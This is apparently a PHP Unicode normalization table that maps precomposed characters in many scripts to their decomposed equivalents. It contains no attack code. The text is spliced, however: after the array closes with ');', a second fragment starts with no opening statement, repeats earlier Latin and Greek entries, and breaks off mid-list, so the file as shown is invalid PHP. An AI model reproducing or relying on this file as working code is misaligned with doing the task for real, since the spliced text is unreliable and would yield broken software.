'ǩ' => 'ǩ', 'Ǫ' => 'Ǫ', 'ǫ' => 'ǫ', 'Ǭ' => 'Ǭ', 'ǭ' => 'ǭ', 'Ǯ' => 'Ǯ', 'ǯ' => 'ǯ', 'ǰ' => 'ǰ', 'Ǵ' => 'Ǵ', 'ǵ' => 'ǵ', 'Ǹ' => 'Ǹ', 'ǹ' => 'ǹ', 'Ǻ' => 'Ǻ', 'ǻ' => 'ǻ', 'Ǽ' => 'Ǽ', 'ǽ' => 'ǽ', 'Ǿ' => 'Ǿ', 'ǿ' => 'ǿ', 'Ȁ' => 'Ȁ', 'ȁ' => 'ȁ', 'Ȃ' => 'Ȃ', 'ȃ' => 'ȃ', 'Ȅ' => 'Ȅ', 'ȅ' => 'ȅ', 'Ȇ' => 'Ȇ', 'ȇ' => 'ȇ', 'Ȉ' => 'Ȉ', 'ȉ' => 'ȉ', 'Ȋ' => 'Ȋ', 'ȋ' => 'ȋ', 'Ȍ' => 'Ȍ', 'ȍ' => 'ȍ', 'Ȏ' => 'Ȏ', 'ȏ' => 'ȏ', 'Ȑ' => 'Ȑ', 'ȑ' => 'ȑ', 'Ȓ' => 'Ȓ', 'ȓ' => 'ȓ', 'Ȕ' => 'Ȕ', 'ȕ' => 'ȕ', 'Ȗ' => 'Ȗ', 'ȗ' => 'ȗ', 'Ș' => 'Ș', 'ș' => 'ș', 'Ț' => 'Ț', 'ț' => 'ț', 'Ȟ' => 'Ȟ', 'ȟ' => 'ȟ', 'Ȧ' => 'Ȧ', 'ȧ' => 'ȧ', 'Ȩ' => 'Ȩ', 'ȩ' => 'ȩ', 'Ȫ' => 'Ȫ', 'ȫ' => 'ȫ', 'Ȭ' => 'Ȭ', 'ȭ' => 'ȭ', 'Ȯ' => 'Ȯ', 'ȯ' => 'ȯ', 'Ȱ' => 'Ȱ', 'ȱ' => 'ȱ', 'Ȳ' => 'Ȳ', 'ȳ' => 'ȳ', '΅' => '΅', 'Ά' => 'Ά', 'Έ' => 'Έ', 'Ή' => 'Ή', 'Ί' => 'Ί', 'Ό' => 'Ό', 'Ύ' => 'Ύ', 'Ώ' => 'Ώ', 'ΐ' => 'ΐ', 'Ϊ' => 'Ϊ', 'Ϋ' => 'Ϋ', 'ά' => 'ά', 'έ' => 'έ', 'ή' => 'ή', 'ί' => 'ί', 'ΰ' => 'ΰ', 'ϊ' => 'ϊ', 'ϋ' => 'ϋ', 'ό' => 'ό', 'ύ' => 'ύ', 'ώ' => 'ώ', 'ϓ' => 'ϓ', 'ϔ' => 'ϔ', 'Ѐ' => 'Ѐ', 'Ё' => 'Ё', 'Ѓ' => 'Ѓ', 'Ї' => 'Ї', 'Ќ' => 'Ќ', 'Ѝ' => 'Ѝ', 'Ў' => 'Ў', 'Й' => 'Й', 'й' => 'й', 'ѐ' => 'ѐ', 'ё' => 'ё', 'ѓ' => 'ѓ', 'ї' => 'ї', 'ќ' => 'ќ', 'ѝ' => 'ѝ', 'ў' => 'ў', 'Ѷ' => 'Ѷ', 'ѷ' => 'ѷ', 'Ӂ' => 'Ӂ', 'ӂ' => 'ӂ', 'Ӑ' => 'Ӑ', 'ӑ' => 'ӑ', 'Ӓ' => 'Ӓ', 'ӓ' => 'ӓ', 'Ӗ' => 'Ӗ', 'ӗ' => 'ӗ', 'Ӛ' => 'Ӛ', 'ӛ' => 'ӛ', 'Ӝ' => 'Ӝ', 'ӝ' => 'ӝ', 'Ӟ' => 'Ӟ', 'ӟ' => 'ӟ', 'Ӣ' => 'Ӣ', 'ӣ' => 'ӣ', 'Ӥ' => 'Ӥ', 'ӥ' => 'ӥ', 'Ӧ' => 'Ӧ', 'ӧ' => 'ӧ', 'Ӫ' => 'Ӫ', 'ӫ' => 'ӫ', 'Ӭ' => 'Ӭ', 'ӭ' => 'ӭ', 'Ӯ' => 'Ӯ', 'ӯ' => 'ӯ', 'Ӱ' => 'Ӱ', 'ӱ' => 'ӱ', 'Ӳ' => 'Ӳ', 'ӳ' => 'ӳ', 'Ӵ' => 'Ӵ', 'ӵ' => 'ӵ', 'Ӹ' => 'Ӹ', 'ӹ' => 'ӹ', 'آ' => 'آ', 'أ' => 'أ', 'ؤ' => 'ؤ', 'إ' => 'إ', 'ئ' => 'ئ', 'ۀ' => 'ۀ', 'ۂ' => 'ۂ', 'ۓ' => 'ۓ', 'ऩ' => 'ऩ', 'ऱ' => 'ऱ', 'ऴ' => 'ऴ', 'ো' => 'ো', 'ৌ' => 'ৌ', 'ୈ' => 'ୈ', 'ୋ' => 'ୋ', 'ୌ' => 'ୌ', 'ஔ' => 'ஔ', 'ொ' => 'ொ', 'ோ' => 'ோ', 'ௌ' => 'ௌ', 'ై' => 'ై', 'ೀ' => 'ೀ', 'ೇ' => 'ೇ', 'ೈ' => 'ೈ', 'ೊ' => 'ೊ', 'ೋ' => 'ೋ', 'ൊ' => 'ൊ', 'ോ' => 'ോ', 'ൌ' => 'ൌ', 'ේ' => 'ේ', 'ො' => 'ො', 'ෝ' => 'ෝ', 'ෞ' => 'ෞ', 'ဦ' => 'ဦ', 'ᬆ' => 'ᬆ', 'ᬈ' => 'ᬈ', 'ᬊ' => 'ᬊ', 'ᬌ' => 'ᬌ', 'ᬎ' => 'ᬎ', 'ᬒ' => 'ᬒ', 'ᬻ' => 'ᬻ', 'ᬽ' => 'ᬽ', 'ᭀ' => 'ᭀ', 'ᭁ' => 'ᭁ', 'ᭃ' => 'ᭃ', 'Ḁ' => 'Ḁ', 'ḁ' => 'ḁ', 'Ḃ' => 'Ḃ', 'ḃ' => 'ḃ', 'Ḅ' => 'Ḅ', 'ḅ' => 'ḅ', 'Ḇ' => 'Ḇ', 'ḇ' => 'ḇ', 'Ḉ' => 'Ḉ', 'ḉ' => 'ḉ', 'Ḋ' => 'Ḋ', 'ḋ' => 'ḋ', 'Ḍ' => 'Ḍ', 'ḍ' => 'ḍ', 'Ḏ' => 'Ḏ', 'ḏ' => 'ḏ', 'Ḑ' => 'Ḑ', 'ḑ' => 'ḑ', 'Ḓ' => 'Ḓ', 'ḓ' => 'ḓ', 'Ḕ' => 'Ḕ', 'ḕ' => 'ḕ', 'Ḗ' => 'Ḗ', 'ḗ' => 'ḗ', 'Ḙ' => 'Ḙ', 'ḙ' => 'ḙ', 'Ḛ' => 'Ḛ', 'ḛ' => 'ḛ', 'Ḝ' => 'Ḝ', 'ḝ' => 'ḝ', 'Ḟ' => 'Ḟ', 'ḟ' => 'ḟ', 'Ḡ' => 'Ḡ', 'ḡ' => 'ḡ', 'Ḣ' => 'Ḣ', 'ḣ' => 'ḣ', 'Ḥ' => 'Ḥ', 'ḥ' => 'ḥ', 'Ḧ' => 'Ḧ', 'ḧ' => 'ḧ', 'Ḩ' => 'Ḩ', 'ḩ' => 'ḩ', 'Ḫ' => 'Ḫ', 'ḫ' => 'ḫ', 'Ḭ' => 'Ḭ', 'ḭ' => 'ḭ', 'Ḯ' => 'Ḯ', 'ḯ' => 'ḯ', 'Ḱ' => 'Ḱ', 'ḱ' => 'ḱ', 'Ḳ' => 'Ḳ', 'ḳ' => 'ḳ', 'Ḵ' => 'Ḵ', 'ḵ' => 'ḵ', 'Ḷ' => 'Ḷ', 'ḷ' => 'ḷ', 'Ḹ' => 'Ḹ', 'ḹ' => 'ḹ', 'Ḻ' => 'Ḻ', 'ḻ' => 'ḻ', 'Ḽ' => 'Ḽ', 'ḽ' => 'ḽ', 'Ḿ' => 'Ḿ', 'ḿ' => 'ḿ', 'Ṁ' => 'Ṁ', 'ṁ' => 'ṁ', 'Ṃ' => 'Ṃ', 'ṃ' => 'ṃ', 'Ṅ' => 'Ṅ', 'ṅ' => 'ṅ', 'Ṇ' => 'Ṇ', 'ṇ' => 'ṇ', 'Ṉ' => 'Ṉ', 'ṉ' => 'ṉ', 'Ṋ' => 'Ṋ', 'ṋ' => 'ṋ', 'Ṍ' => 'Ṍ', 'ṍ' => 'ṍ', 'Ṏ' => 'Ṏ', 'ṏ' => 'ṏ', 'Ṑ' => 'Ṑ', 'ṑ' => 'ṑ', 'Ṓ' => 'Ṓ', 'ṓ' => 'ṓ', 'Ṕ' => 'Ṕ', 'ṕ' => 'ṕ', 'Ṗ' => 'Ṗ', 'ṗ' => 'ṗ', 'Ṙ' => 'Ṙ', 'ṙ' => 'ṙ', 'Ṛ' => 'Ṛ', 'ṛ' => 'ṛ', 'Ṝ' => 'Ṝ', 'ṝ' => 'ṝ', 'Ṟ' => 'Ṟ', 'ṟ' => 'ṟ', 'Ṡ' => 'Ṡ', 'ṡ' => 'ṡ', 'Ṣ' => 'Ṣ', 'ṣ' => 'ṣ', 'Ṥ' => 'Ṥ', 'ṥ' => 'ṥ', 'Ṧ' => 'Ṧ', 'ṧ' => 'ṧ', 'Ṩ' => 'Ṩ', 'ṩ' => 'ṩ', 'Ṫ' => 'Ṫ', 'ṫ' => 'ṫ', 'Ṭ' => 'Ṭ', 'ṭ' => 'ṭ', 'Ṯ' => 'Ṯ', 'ṯ' => 'ṯ', 'Ṱ' => 'Ṱ', 'ṱ' => 'ṱ', 'Ṳ' => 'Ṳ', 'ṳ' => 'ṳ', 'Ṵ' => 'Ṵ', 'ṵ' => 'ṵ', 'Ṷ' => 'Ṷ', 'ṷ' => 'ṷ', 'Ṹ' => 'Ṹ', 'ṹ' => 'ṹ', 'Ṻ' => 'Ṻ', 'ṻ' => 'ṻ', 'Ṽ' => 'Ṽ', 'ṽ' => 'ṽ', 'Ṿ' => 'Ṿ', 'ṿ' => 'ṿ', 'Ẁ' => 'Ẁ', 'ẁ' => 'ẁ', 'Ẃ' => 'Ẃ', 'ẃ' => 'ẃ', 'Ẅ' => 'Ẅ', 'ẅ' => 'ẅ', 'Ẇ' => 'Ẇ', 'ẇ' => 'ẇ', 'Ẉ' => 'Ẉ', 'ẉ' => 'ẉ', 'Ẋ' => 'Ẋ', 'ẋ' => 'ẋ', 'Ẍ' => 'Ẍ', 'ẍ' => 'ẍ', 'Ẏ' => 'Ẏ', 'ẏ' => 'ẏ', 'Ẑ' => 'Ẑ', 'ẑ' => 'ẑ', 'Ẓ' => 'Ẓ', 'ẓ' => 'ẓ', 'Ẕ' => 'Ẕ', 'ẕ' => 'ẕ', 'ẖ' => 'ẖ', 'ẗ' => 'ẗ', 'ẘ' => 'ẘ', 'ẙ' => 'ẙ', 'ẛ' => 'ẛ', 'Ạ' => 'Ạ', 'ạ' => 'ạ', 'Ả' => 'Ả', 'ả' => 'ả', 'Ấ' => 'Ấ', 'ấ' => 'ấ', 'Ầ' => 'Ầ', 'ầ' => 'ầ', 'Ẩ' => 'Ẩ', 'ẩ' => 'ẩ', 'Ẫ' => 'Ẫ', 'ẫ' => 'ẫ', 'Ậ' => 'Ậ', 'ậ' => 'ậ', 'Ắ' => 'Ắ', 'ắ' => 'ắ', 'Ằ' => 'Ằ', 'ằ' => 'ằ', 'Ẳ' => 'Ẳ', 'ẳ' => 'ẳ', 'Ẵ' => 'Ẵ', 'ẵ' => 'ẵ', 'Ặ' => 'Ặ', 'ặ' => 'ặ', 'Ẹ' => 'Ẹ', 'ẹ' => 'ẹ', 'Ẻ' => 'Ẻ', 'ẻ' => 'ẻ', 'Ẽ' => 'Ẽ', 'ẽ' => 'ẽ', 'Ế' => 'Ế', 'ế' => 'ế', 'Ề' => 'Ề', 'ề' => 'ề', 'Ể' => 'Ể', 'ể' => 'ể', 'Ễ' => 'Ễ', 'ễ' => 'ễ', 'Ệ' => 'Ệ', 'ệ' => 'ệ', 'Ỉ' => 'Ỉ', 'ỉ' => 'ỉ', 'Ị' => 'Ị', 'ị' => 'ị', 'Ọ' => 'Ọ', 'ọ' => 'ọ', 'Ỏ' => 'Ỏ', 'ỏ' => 'ỏ', 'Ố' => 'Ố', 'ố' => 'ố', 'Ồ' => 'Ồ', 'ồ' => 'ồ', 'Ổ' => 'Ổ', 'ổ' => 'ổ', 'Ỗ' => 'Ỗ', 'ỗ' => 'ỗ', 'Ộ' => 'Ộ', 'ộ' => 'ộ', 'Ớ' => 'Ớ', 'ớ' => 'ớ', 'Ờ' => 'Ờ', 'ờ' => 'ờ', 'Ở' => 'Ở', 'ở' => 'ở', 'Ỡ' => 'Ỡ', 'ỡ' => 'ỡ', 'Ợ' => 'Ợ', 'ợ' => 'ợ', 'Ụ' => 'Ụ', 'ụ' => 'ụ', 'Ủ' => 'Ủ', 'ủ' => 'ủ', 'Ứ' => 'Ứ', 'ứ' => 'ứ', 'Ừ' => 'Ừ', 'ừ' => 'ừ', 'Ử' => 'Ử', 'ử' => 'ử', 'Ữ' => 'Ữ', 'ữ' => 'ữ', 'Ự' => 'Ự', 'ự' => 'ự', 'Ỳ' => 'Ỳ', 'ỳ' => 'ỳ', 'Ỵ' => 'Ỵ', 'ỵ' => 'ỵ', 'Ỷ' => 'Ỷ', 'ỷ' => 'ỷ', 'Ỹ' => 'Ỹ', 'ỹ' => 'ỹ', 'ἀ' => 'ἀ', 'ἁ' => 'ἁ', 'ἂ' => 'ἂ', 'ἃ' => 'ἃ', 'ἄ' => 'ἄ', 'ἅ' => 'ἅ', 'ἆ' => 'ἆ', 'ἇ' => 'ἇ', 'Ἀ' => 'Ἀ', 'Ἁ' => 'Ἁ', 'Ἂ' => 'Ἂ', 'Ἃ' => 'Ἃ', 'Ἄ' => 'Ἄ', 'Ἅ' => 'Ἅ', 'Ἆ' => 'Ἆ', 'Ἇ' => 'Ἇ', 'ἐ' => 'ἐ', 'ἑ' => 'ἑ', 'ἒ' => 'ἒ', 'ἓ' => 'ἓ', 'ἔ' => 'ἔ', 'ἕ' => 'ἕ', 'Ἐ' => 'Ἐ', 'Ἑ' => 'Ἑ', 'Ἒ' => 'Ἒ', 'Ἓ' => 'Ἓ', 'Ἔ' => 'Ἔ', 'Ἕ' => 'Ἕ', 'ἠ' => 'ἠ', 'ἡ' => 'ἡ', 'ἢ' => 'ἢ', 'ἣ' => 'ἣ', 'ἤ' => 'ἤ', 'ἥ' => 'ἥ', 'ἦ' => 'ἦ', 'ἧ' => 'ἧ', 'Ἠ' => 'Ἠ', 'Ἡ' => 'Ἡ', 'Ἢ' => 'Ἢ', 'Ἣ' => 'Ἣ', 'Ἤ' => 'Ἤ', 'Ἥ' => 'Ἥ', 'Ἦ' => 'Ἦ', 'Ἧ' => 'Ἧ', 'ἰ' => 'ἰ', 'ἱ' => 'ἱ', 'ἲ' => 'ἲ', 'ἳ' => 'ἳ', 'ἴ' => 'ἴ', 'ἵ' => 'ἵ', 'ἶ' => 'ἶ', 'ἷ' => 'ἷ', 'Ἰ' => 'Ἰ', 'Ἱ' => 'Ἱ', 'Ἲ' => 'Ἲ', 'Ἳ' => 'Ἳ', 'Ἴ' => 'Ἴ', 'Ἵ' => 'Ἵ', 'Ἶ' => 'Ἶ', 'Ἷ' => 'Ἷ', 'ὀ' => 'ὀ', 'ὁ' => 'ὁ', 'ὂ' => 'ὂ', 'ὃ' => 'ὃ', 'ὄ' => 'ὄ', 'ὅ' => 'ὅ', 'Ὀ' => 'Ὀ', 'Ὁ' => 'Ὁ', 'Ὂ' => 'Ὂ', 'Ὃ' => 'Ὃ', 'Ὄ' => 'Ὄ', 'Ὅ' => 'Ὅ', 'ὐ' => 'ὐ', 'ὑ' => 'ὑ', 'ὒ' => 'ὒ', 'ὓ' => 'ὓ', 'ὔ' => 'ὔ', 'ὕ' => 'ὕ', 'ὖ' => 'ὖ', 'ὗ' => 'ὗ', 'Ὑ' => 'Ὑ', 'Ὓ' => 'Ὓ', 'Ὕ' => 'Ὕ', 'Ὗ' => 'Ὗ', 'ὠ' => 'ὠ', 'ὡ' => 'ὡ', 'ὢ' => 'ὢ', 'ὣ' => 'ὣ', 'ὤ' => 'ὤ', 'ὥ' => 'ὥ', 'ὦ' => 'ὦ', 'ὧ' => 'ὧ', 'Ὠ' => 'Ὠ', 'Ὡ' => 'Ὡ', 'Ὢ' => 'Ὢ', 'Ὣ' => 'Ὣ', 'Ὤ' => 'Ὤ', 'Ὥ' => 'Ὥ', 'Ὦ' => 'Ὦ', 'Ὧ' => 'Ὧ', 'ὰ' => 'ὰ', 'ὲ' => 'ὲ', 'ὴ' => 'ὴ', 'ὶ' => 'ὶ', 'ὸ' => 'ὸ', 'ὺ' => 'ὺ', 'ὼ' => 'ὼ', 'ᾀ' => 'ᾀ', 'ᾁ' => 'ᾁ', 'ᾂ' => 'ᾂ', 'ᾃ' => 'ᾃ', 'ᾄ' => 'ᾄ', 'ᾅ' => 'ᾅ', 'ᾆ' => 'ᾆ', 'ᾇ' => 'ᾇ', 'ᾈ' => 'ᾈ', 'ᾉ' => 'ᾉ', 'ᾊ' => 'ᾊ', 'ᾋ' => 'ᾋ', 'ᾌ' => 'ᾌ', 'ᾍ' => 'ᾍ', 'ᾎ' => 'ᾎ', 'ᾏ' => 'ᾏ', 'ᾐ' => 'ᾐ', 'ᾑ' => 'ᾑ', 'ᾒ' => 'ᾒ', 'ᾓ' => 'ᾓ', 'ᾔ' => 'ᾔ', 'ᾕ' => 'ᾕ', 'ᾖ' => 'ᾖ', 'ᾗ' => 'ᾗ', 'ᾘ' => 'ᾘ', 'ᾙ' => 'ᾙ', 'ᾚ' => 'ᾚ', 'ᾛ' => 'ᾛ', 'ᾜ' => 'ᾜ', 'ᾝ' => 'ᾝ', 'ᾞ' => 'ᾞ', 'ᾟ' => 'ᾟ', 'ᾠ' => 'ᾠ', 'ᾡ' => 'ᾡ', 'ᾢ' => 'ᾢ', 'ᾣ' => 'ᾣ', 'ᾤ' => 'ᾤ', 'ᾥ' => 'ᾥ', 'ᾦ' => 'ᾦ', 'ᾧ' => 'ᾧ', 'ᾨ' => 'ᾨ', 'ᾩ' => 'ᾩ', 'ᾪ' => 'ᾪ', 'ᾫ' => 'ᾫ', 'ᾬ' => 'ᾬ', 'ᾭ' => 'ᾭ', 'ᾮ' => 'ᾮ', 'ᾯ' => 'ᾯ', 'ᾰ' => 'ᾰ', 'ᾱ' => 'ᾱ', 'ᾲ' => 'ᾲ', 'ᾳ' => 'ᾳ', 'ᾴ' => 'ᾴ', 'ᾶ' => 'ᾶ', 'ᾷ' => 'ᾷ', 'Ᾰ' => 'Ᾰ', 'Ᾱ' => 'Ᾱ', 'Ὰ' => 'Ὰ', 'ᾼ' => 'ᾼ', '῁' => '῁', 'ῂ' => 'ῂ', 'ῃ' => 'ῃ', 'ῄ' => 'ῄ', 'ῆ' => 'ῆ', 'ῇ' => 'ῇ', 'Ὲ' => 'Ὲ', 'Ὴ' => 'Ὴ', 'ῌ' => 'ῌ', '῍' => '῍', '῎' => '῎', '῏' => '῏', 'ῐ' => 'ῐ', 'ῑ' => 'ῑ', 'ῒ' => 'ῒ', 'ῖ' => 'ῖ', 'ῗ' => 'ῗ', 'Ῐ' => 'Ῐ', 'Ῑ' => 'Ῑ', 'Ὶ' => 'Ὶ', '῝' => '῝', '῞' => '῞', '῟' => '῟', 'ῠ' => 'ῠ', 'ῡ' => 'ῡ', 'ῢ' => 'ῢ', 'ῤ' => 'ῤ', 'ῥ' => 'ῥ', 'ῦ' => 'ῦ', 'ῧ' => 'ῧ', 'Ῠ' => 'Ῠ', 'Ῡ' => 'Ῡ', 'Ὺ' => 'Ὺ', 'Ῥ' => 'Ῥ', '῭' => '῭', 'ῲ' => 'ῲ', 'ῳ' => 'ῳ', 'ῴ' => 'ῴ', 'ῶ' => 'ῶ', 'ῷ' => 'ῷ', 'Ὸ' => 'Ὸ', 'Ὼ' => 'Ὼ', 'ῼ' => 'ῼ', '↚' => '↚', '↛' => '↛', '↮' => '↮', '⇍' => '⇍', '⇎' => '⇎', '⇏' => '⇏', '∄' => '∄', '∉' => '∉', '∌' => '∌', '∤' => '∤', '∦' => '∦', '≁' => '≁', '≄' => '≄', '≇' => '≇', '≉' => '≉', '≠' => '≠', '≢' => '≢', '≭' => '≭', '≮' => '≮', '≯' => '≯', '≰' => '≰', '≱' => '≱', '≴' => '≴', '≵' => '≵', '≸' => '≸', '≹' => '≹', '⊀' => '⊀', '⊁' => '⊁', '⊄' => '⊄', '⊅' => '⊅', '⊈' => '⊈', '⊉' => '⊉', '⊬' => '⊬', '⊭' => '⊭', '⊮' => '⊮', '⊯' => '⊯', '⋠' => '⋠', '⋡' => '⋡', '⋢' => '⋢', '⋣' => '⋣', '⋪' => '⋪', '⋫' => '⋫', '⋬' => '⋬', '⋭' => '⋭', 'が' => 'が', 'ぎ' => 'ぎ', 'ぐ' => 'ぐ', 'げ' => 'げ', 'ご' => 'ご', 'ざ' => 'ざ', 'じ' => 'じ', 'ず' => 'ず', 'ぜ' => 'ぜ', 'ぞ' => 'ぞ', 'だ' => 'だ', 'ぢ' => 'ぢ', 'づ' => 'づ', 'で' => 'で', 'ど' => 'ど', 'ば' => 'ば', 'ぱ' => 'ぱ', 'び' => 'び', 'ぴ' => 'ぴ', 'ぶ' => 'ぶ', 'ぷ' => 'ぷ', 'べ' => 'べ', 'ぺ' => 'ぺ', 'ぼ' => 'ぼ', 'ぽ' => 'ぽ', 'ゔ' => 'ゔ', 'ゞ' => 'ゞ', 'ガ' => 'ガ', 'ギ' => 'ギ', 'グ' => 'グ', 'ゲ' => 'ゲ', 'ゴ' => 'ゴ', 'ザ' => 'ザ', 'ジ' => 'ジ', 'ズ' => 'ズ', 'ゼ' => 'ゼ', 'ゾ' => 'ゾ', 'ダ' => 'ダ', 'ヂ' => 'ヂ', 'ヅ' => 'ヅ', 'デ' => 'デ', 'ド' => 'ド', 'バ' => 'バ', 'パ' => 'パ', 'ビ' => 'ビ', 'ピ' => 'ピ', 'ブ' => 'ブ', 'プ' => 'プ', 'ベ' => 'ベ', 'ペ' => 'ペ', 'ボ' => 'ボ', 'ポ' => 'ポ', 'ヴ' => 'ヴ', 'ヷ' => 'ヷ', 'ヸ' => 'ヸ', 'ヹ' => 'ヹ', 'ヺ' => 'ヺ', 'ヾ' => 'ヾ', '𑂚' => '𑂚', '𑂜' => '𑂜', '𑂫' => '𑂫', '𑄮' => '𑄮', '𑄯' => '𑄯', '𑍋' => '𑍋', '𑍌' => '𑍌', '𑒻' => '𑒻', '𑒼' => '𑒼', '𑒾' => '𑒾', '𑖺' => '𑖺', '𑖻' => '𑖻', '𑤸' => '𑤸', ); 'À', 'Á' => 'Á', 'Â' => 'Â', 'Ã' => 'Ã', 'Ä' => 'Ä', 'Å' => 'Å', 'Ç' => 'Ç', 'È' => 'È', 'É' => 'É', 'Ê' => 'Ê', 'Ë' => 'Ë', 'Ì' => 'Ì', 'Í' => 'Í', 'Î' => 'Î', 'Ï' => 'Ï', 'Ñ' => 'Ñ', 'Ò' => 'Ò', 'Ó' => 'Ó', 'Ô' => 'Ô', 'Õ' => 'Õ', 'Ö' => 'Ö', 'Ù' => 'Ù', 'Ú' => 'Ú', 'Û' => 'Û', 'Ü' => 'Ü', 'Ý' => 'Ý', 'à' => 'à', 'á' => 'á', 'â' => 'â', 'ã' => 'ã', 'ä' => 'ä', 'å' => 'å', 'ç' => 'ç', 'è' => 'è', 'é' => 'é', 'ê' => 'ê', 'ë' => 'ë', 'ì' => 'ì', 'í' => 'í', 'î' => 'î', 'ï' => 'ï', 'ñ' => 'ñ', 'ò' => 'ò', 'ó' => 'ó', 'ô' => 'ô', 'õ' => 'õ', 'ö' => 'ö', 'ù' => 'ù', 'ú' => 'ú', 'û' => 'û', 'ü' => 'ü', 'ý' => 'ý', 'ÿ' => 'ÿ', 'Ā' => 'Ā', 'ā' => 'ā', 'Ă' => 'Ă', 'ă' => 'ă', 'Ą' => 'Ą', 'ą' => 'ą', 'Ć' => 'Ć', 'ć' => 'ć', 'Ĉ' => 'Ĉ', 'ĉ' => 'ĉ', 'Ċ' => 'Ċ', 'ċ' => 'ċ', 'Č' => 'Č', 'č' => 'č', 'Ď' => 'Ď', 'ď' => 'ď', 'Ē' => 'Ē', 'ē' => 'ē', 'Ĕ' => 'Ĕ', 'ĕ' => 'ĕ', 'Ė' => 'Ė', 'ė' => 'ė', 'Ę' => 'Ę', 'ę' => 'ę', 'Ě' => 'Ě', 'ě' => 'ě', 'Ĝ' => 'Ĝ', 'ĝ' => 'ĝ', 'Ğ' => 'Ğ', 'ğ' => 'ğ', 'Ġ' => 'Ġ', 'ġ' => 'ġ', 'Ģ' => 'Ģ', 'ģ' => 'ģ', 'Ĥ' => 'Ĥ', 'ĥ' => 'ĥ', 'Ĩ' => 'Ĩ', 'ĩ' => 'ĩ', 'Ī' => 'Ī', 'ī' => 'ī', 'Ĭ' => 'Ĭ', 'ĭ' => 'ĭ', 'Į' => 'Į', 'į' => 'į', 'İ' => 'İ', 'Ĵ' => 'Ĵ', 'ĵ' => 'ĵ', 'Ķ' => 'Ķ', 'ķ' => 'ķ', 'Ĺ' => 'Ĺ', 'ĺ' => 'ĺ', 'Ļ' => 'Ļ', 'ļ' => 'ļ', 'Ľ' => 'Ľ', 'ľ' => 'ľ', 'Ń' => 'Ń', 'ń' => 'ń', 'Ņ' => 'Ņ', 'ņ' => 'ņ', 'Ň' => 'Ň', 'ň' => 'ň', 'Ō' => 'Ō', 'ō' => 'ō', 'Ŏ' => 'Ŏ', 'ŏ' => 'ŏ', 'Ő' => 'Ő', 'ő' => 'ő', 'Ŕ' => 'Ŕ', 'ŕ' => 'ŕ', 'Ŗ' => 'Ŗ', 'ŗ' => 'ŗ', 'Ř' => 'Ř', 'ř' => 'ř', 'Ś' => 'Ś', 'ś' => 'ś', 'Ŝ' => 'Ŝ', 'ŝ' => 'ŝ', 'Ş' => 'Ş', 'ş' => 'ş', 'Š' => 'Š', 'š' => 'š', 'Ţ' => 'Ţ', 'ţ' => 'ţ', 'Ť' => 'Ť', 'ť' => 'ť', 'Ũ' => 'Ũ', 'ũ' => 'ũ', 'Ū' => 'Ū', 'ū' => 'ū', 'Ŭ' => 'Ŭ', 'ŭ' => 'ŭ', 'Ů' => 'Ů', 'ů' => 'ů', 'Ű' => 'Ű', 'ű' => 'ű', 'Ų' => 'Ų', 'ų' => 'ų', 'Ŵ' => 'Ŵ', 'ŵ' => 'ŵ', 'Ŷ' => 'Ŷ', 'ŷ' => 'ŷ', 'Ÿ' => 'Ÿ', 'Ź' => 'Ź', 'ź' => 'ź', 'Ż' => 'Ż', 'ż' => 'ż', 'Ž' => 'Ž', 'ž' => 'ž', 'Ơ' => 'Ơ', 'ơ' => 'ơ', 'Ư' => 'Ư', 'ư' => 'ư', 'Ǎ' => 'Ǎ', 'ǎ' => 'ǎ', 'Ǐ' => 'Ǐ', 'ǐ' => 'ǐ', 'Ǒ' => 'Ǒ', 'ǒ' => 'ǒ', 'Ǔ' => 'Ǔ', 'ǔ' => 'ǔ', 'Ǖ' => 'Ǖ', 'ǖ' => 'ǖ', 'Ǘ' => 'Ǘ', 'ǘ' => 'ǘ', 'Ǚ' => 'Ǚ', 'ǚ' => 'ǚ', 'Ǜ' => 'Ǜ', 'ǜ' => 'ǜ', 'Ǟ' => 'Ǟ', 'ǟ' => 'ǟ', 'Ǡ' => 'Ǡ', 'ǡ' => 'ǡ', 'Ǣ' => 'Ǣ', 'ǣ' => 'ǣ', 'Ǧ' => 'Ǧ', 'ǧ' => 'ǧ', 'Ǩ' => 'Ǩ', 'ǩ' => 'ǩ', 'Ǫ' => 'Ǫ', 'ǫ' => 'ǫ', 'Ǭ' => 'Ǭ', 'ǭ' => 'ǭ', 'Ǯ' => 'Ǯ', 'ǯ' => 'ǯ', 'ǰ' => 'ǰ', 'Ǵ' => 'Ǵ', 'ǵ' => 'ǵ', 'Ǹ' => 'Ǹ', 'ǹ' => 'ǹ', 'Ǻ' => 'Ǻ', 'ǻ' => 'ǻ', 'Ǽ' => 'Ǽ', 'ǽ' => 'ǽ', 'Ǿ' => 'Ǿ', 'ǿ' => 'ǿ', 'Ȁ' => 'Ȁ', 'ȁ' => 'ȁ', 'Ȃ' => 'Ȃ', 'ȃ' => 'ȃ', 'Ȅ' => 'Ȅ', 'ȅ' => 'ȅ', 'Ȇ' => 'Ȇ', 'ȇ' => 'ȇ', 'Ȉ' => 'Ȉ', 'ȉ' => 'ȉ', 'Ȋ' => 'Ȋ', 'ȋ' => 'ȋ', 'Ȍ' => 'Ȍ', 'ȍ' => 'ȍ', 'Ȏ' => 'Ȏ', 'ȏ' => 'ȏ', 'Ȑ' => 'Ȑ', 'ȑ' => 'ȑ', 'Ȓ' => 'Ȓ', 'ȓ' => 'ȓ', 'Ȕ' => 'Ȕ', 'ȕ' => 'ȕ', 'Ȗ' => 'Ȗ', 'ȗ' => 'ȗ', 'Ș' => 'Ș', 'ș' => 'ș', 'Ț' => 'Ț', 'ț' => 'ț', 'Ȟ' => 'Ȟ', 'ȟ' => 'ȟ', 'Ȧ' => 'Ȧ', 'ȧ' => 'ȧ', 'Ȩ' => 'Ȩ', 'ȩ' => 'ȩ', 'Ȫ' => 'Ȫ', 'ȫ' => 'ȫ', 'Ȭ' => 'Ȭ', 'ȭ' => 'ȭ', 'Ȯ' => 'Ȯ', 'ȯ' => 'ȯ', 'Ȱ' => 'Ȱ', 'ȱ' => 'ȱ', 'Ȳ' => 'Ȳ', 'ȳ' => 'ȳ', '̀' => '̀', '́' => '́', '̓' => '̓', '̈́' => '̈́', 'ʹ' => 'ʹ', ';' => ';', '΅' => '΅', 'Ά' => 'Ά', '·' => '·', 'Έ' => 'Έ', 'Ή' => 'Ή', 'Ί' => 'Ί', 'Ό' => 'Ό', 'Ύ' => 'Ύ', 'Ώ' => 'Ώ', 'ΐ' => 'ΐ', 'Ϊ' => 'Ϊ', 'Ϋ' => 'Ϋ', 'ά' => 'ά', 'έ' => 'έ', 'ή' => 'ή', 'ί' => 'ί', 'ΰ' => 'ΰ', 'ϊ' => 'ϊ', 'ϋ' => 'ϋ', 'ό' => 'ό', 'ύ' => 'ύ', 